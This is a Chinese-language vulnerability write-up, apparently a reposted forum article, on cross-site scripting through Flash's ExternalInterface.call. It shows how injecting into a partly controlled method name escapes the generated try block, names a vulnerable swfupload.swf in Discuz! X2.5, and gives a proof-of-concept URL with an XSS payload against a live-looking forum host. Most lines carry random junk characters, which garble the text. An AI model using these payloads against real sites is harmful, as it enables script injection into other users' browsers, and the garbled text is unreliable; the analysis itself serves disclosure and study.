上回我们说
9 ~( d& }$ p( M& ]: v4 G7 t/ L# y
flash.external.ExternalInterface.call($methodName, $parameter)5 S* p" k$ @4 x+ q# E
在浏览器中执行的是
0 R$ W! C0 M1 u- S3 b3 t- J$ L
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}8 g. H+ ]0 r8 U) {9 u
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如1 [2 P+ L, ]2 K
8 |+ d; A, X: |7 q/ ^1 H- o$ ~2 a" _flash.external.ExternalInterface.call("object."+$methodName, $parameter)
! {* Y% w+ j7 {: ?$methodName = a())}catch(e){alert(/xss/)}//8 d/ c! q6 C5 m5 R* z* o% |+ B
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。( M$ E) U! L* |( `) X/ o6 E
: P* o9 P) I3 \. E& c( D4 |/ e
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }# U/ N# i) p% ?) u8 H8 `
1 ~! j0 J. ]2 t2 [3 c$ ]
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
- P$ n2 q; w* L" }8 P# |, D9 X杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。3 I! |. P2 Y) c% L- I. g& H
4 E$ a0 c, U* ]- |
# Z) @ P/ M! l( b/ W2 r
5 c& Z& v: L; L& a
漏洞文件:upload\static\image\common\swfupload.swf
4 U* [8 c# I; Q1 K3 E: F, K: U! A- f# K& Q2 B. `
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf' X0 E- Q; I3 B- ^5 b& M8 F/ w
$ |2 ~2 ?0 F( q4 u, ?8 O
3 `) r/ w% \* j7 B7 |7 B漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
" n8 e' U# r$ Q. h+ D, K
4 \+ u) y& t3 a* K' }$ L' D) T6 t
h7 g( P1 a' u+ L |